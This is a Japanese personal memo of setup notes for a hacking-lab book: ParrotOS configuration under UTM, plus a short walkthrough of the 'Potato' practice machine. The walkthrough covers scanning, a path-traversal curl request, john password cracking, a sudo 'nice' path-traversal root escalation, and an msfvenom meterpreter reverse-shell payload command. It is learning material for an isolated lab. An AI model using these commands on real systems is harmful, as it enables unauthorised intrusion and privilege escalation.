【メモ】ハッキング・ラボのつくりかた 完全版



日本語キーボード 入力設定
Mozcインストール
$ sudo apt install -y fcitx-mozc
$ im-config -n fcitx
$ fcitx-autostart
fcitx-configtool
- Imput Methodで「Mozc」を設定
- Global Config で Trigger Imput Method をZenkakuhankaku に設定
- 全角/半角 キーで切り替え可能になる
JIS配列対応
- パネルのキーボードアイコンを右クリックし、「Configure」を開く
- 「+」ボタンを押下
- 「Only Show Current Language」のチェックを外して「Japan」で検索
- 「Keyboard - Japanese」を選択する

日本語フォント設定
Notoフォント・フォントキャッシュ導入
sudo apt update && sudo apt install fonts-noto-cjk fonts-noto-cjk-extra fonts-noto-color-emoji && fc-cache -fv
インストール後、GUIからフォント変更
- 画面左下の「Menu」から「Preference」→「Appearance」→「Fonts」タブを選択
- 「Noto Sans CJK JP Regular」を設定する。
参考

各種設定
解像度変更
- Menu -> Preferences -> Displays
言語設定
- 以下のコマンドを入力後再起動らしいが、メニューの表示は英語のままだった
$sudo localectl set-locale ja_JP.UTF-8
タイムゾーン
- パネルの時計 → Location → Locations
- Tokyoの隣のSet...で反映
参考

追加でインストールが必要なツール
- #1
-
apparmor-utils
:aa-disable
コマンド -
ufw
:ufw
コマンド
-
- #2
-
tree
: metasploitモジュールのディレクトリ改装を参照するため
-
sudo apt update -y
sudo apt install apparmor-utils ufw tree

UTM ネットワーク設定
P327 ParrotOSの仮想マシンを2台用意する
マシンのクローン
VMを右クリックして「複製」を押下する。
MACアドレスがクローン元と同じになっているので、変更する。
VMを右クリック→編集 → デバイス > ネットワーク > MACアドレス欄の「ランダム」ボタンを押下してMACアドレスを再設定する。
詳しいネットワーク設定
名前 | 設定値 |
---|---|
ネットワークモード | ホストのみ |
仮想ネットワークカード | virtio-net-pci(デフォルト) |
MACアドレス | 任意の値 |
詳細設定
名前 | 設定値 |
---|---|
ゲストをホストから隔離 | 未チェック |
ゲストネットワーク | 192.168.56.1/24 |
ゲストネットワーク(IPv6) | (空欄) |
DHCP割当開始アドレス | 192.168.56.100 |
DHCP割当終了アドレス | 192.168.56.254 |
DHCP割当開始アドレスに設定したIPアドレスがVM内でDHCPサーバーのIPアドレスとして使用される。
DHCPサーバーのIPアドレスは以下のコマンドで確認可能
cat /var/lib/dhcp/dhclient.leases
DHCPサーバーのIPアドレスを再設定する場合はdhclient
を使用して再リースする。
sudo dhclient -r
sudo dhclient
再リース後は/var/lib/dhcp/dhclient.leases
で内容を確認可能。
lease {
interface "enp0s1";
fixed-address 192.168.56.102;
server-name "<ホストPC名>";
option subnet-mask 255.255.255.0;
option dhcp-lease-time 86400;
option dhcp-message-type 5;
option dhcp-server-identifier 192.168.56.100;
renew 2 2024/03/05 03:27:11;
rebind 2 2024/03/05 03:27:11;
expire 2 2024/03/05 03:27:11;
}
lease {
interface "enp0s1";
fixed-address 192.168.56.102;
server-name "<ホストPC名>";
option subnet-mask 255.255.255.0;
option dhcp-lease-time 86400;
option dhcp-message-type 5;
option dhcp-server-identifier 192.168.56.100;
renew 2 2024/03/05 12:52:50;
rebind 3 2024/03/06 00:27:15;
expire 3 2024/03/06 03:27:15;
}

Netcat同士で通信する
ParrotOSマシンからParrotOS-Test(もしくはその逆)へ接続が失敗する。
前の項で有効にしたufw
が邪魔していたので、無効化する。
sudo ufw disable

#1 Potato
イメージ
ネットワーク設定
自環境ではWindowsPCにVirtualBoxをインストールしイメージを起動してネットワーク越しにアクセスをする。
UTM(ParrotOS側) ネットワーク設定
ネットワークモード: ブリッジ(詳細)
詳細設定はすべて空欄に戻す。
VirtualBox(Potato側) ネットワーク設定
割り当て: ブリッジアダプター
名前: ipconfig /all
で出てきた、「イーサネットアダプター イーサネット」の「説明」と同じ名前のもの
実施コマンド
sudo netdiscover -i enp0s1 -r <ネットワークアドレス>/24
sudo nmap -sC -sV -Pn -p- $IP -oN portscan_result.txt
ftp $IP 2112
-
file welcome.msg
q -
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt
-
/admin
のページの存在を確認
-
-
burpsuite
- 左上の
Application
からPentesting > Web Application Analysis > Web Application Proxies > BurpSuite
- Could not start Burp: java.lang.NullPointerException
sudo apt update && sudo apt upgrade
-
sudo apt-get update --fix-missing
で解決
- 左上の
-
Proxy > Intercept > Open browser
- 開かない → 公式HPで最新版をダウンロードして使用して解決
-
curl -X POST -b "pass=xxxx" -d "file=../../xxx"
-
-b
リクエストヘッダ
-
-
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
-
rockyou.txt.gz
しかない →sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
で解凍
-
john hash.txt -show
-
sudo -l
- sudo実行権限確認
-
/bin/nice
コマンドを/notes
配下を対象として実行可能
sudo /bin/nice /notes/id.sh
-
sudo /bin/nice /notes/../bin/bash
→ root奪取 cat root.txt | base64 -d
参考

ParrotOSのGPG公開鍵の更新
apt update
コマンドを実行したところ、以下のエラーが発生した。
┌─[parrot@parrot]─[~]
└──╼ $sudo apt -y update
Get:1 https://deb.parrot.sh/parrot lory InRelease [29.8 kB]
Get:2 https://deb.parrot.sh/direct/parrot lory-security InRelease [29.4 kB]
Err:1 https://deb.parrot.sh/parrot lory InRelease
The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
Get:3 https://deb.parrot.sh/parrot lory-backports InRelease [29.7 kB]
Err:2 https://deb.parrot.sh/direct/parrot lory-security InRelease
The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
Err:3 https://deb.parrot.sh/parrot lory-backports InRelease
The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
Fetched 88.9 kB in 1s (95.0 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
367 packages can be upgraded. Run 'apt list --upgradable' to see them.
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://deb.parrot.sh/parrot lory InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://deb.parrot.sh/direct/parrot lory-security InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://deb.parrot.sh/parrot lory-backports InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Failed to fetch https://deb.parrot.sh/parrot/dists/lory/InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Failed to fetch https://deb.parrot.sh/direct/parrot/dists/lory-security/InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Failed to fetch https://deb.parrot.sh/parrot/dists/lory-backports/InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Some index files failed to download. They have been ignored, or old ones used instead.
APTサーバーのGPGキーの更新が原因であるため、OS側のGPGキーを更新する。
手順
以下のコマンドを任意のディレクトリで実行して
parrot-archive-keyringの最新バージョンをダウンロードする。
sudo wget https://deb.parrot.sh/parrot/pool/main/p/parrot-archive-keyring/parrot-archive-keyring_2024.12_all.deb
ダウンロードしたディレクトリで以下のコマンドを実行してインストールを行う
sudo dpkg -i parrot-archive-keyring_2024.12_all.deb
sudo apt update
してエラーがでなければOK
参考

Metasploit Framework
evilスクリプトが実行できない
Appli Silicon環境で実行している場合、msfvenom
を使用したスクリプト作成コマンドを書籍の通り実行した場合、ParrotOS-Test環境でevil
を実行すると以下のエラーが発生する。
┌─[parrot@parrot]─[~]
└──╼ $./evil
bash: ./evil: cannot execute binary file: Exec format error
解決方法
アーキテクチャにaarch64
を指定することで解決。
msfvenom --payload linux/aarch64/meterpreter_reverse_tcp --platform linux --arch aarch64 LHOST=<ParrotOS側のIPアドレス> LPORT=4444 --format elf --out ~/Desktop/evil

#2 DC-2
イメージ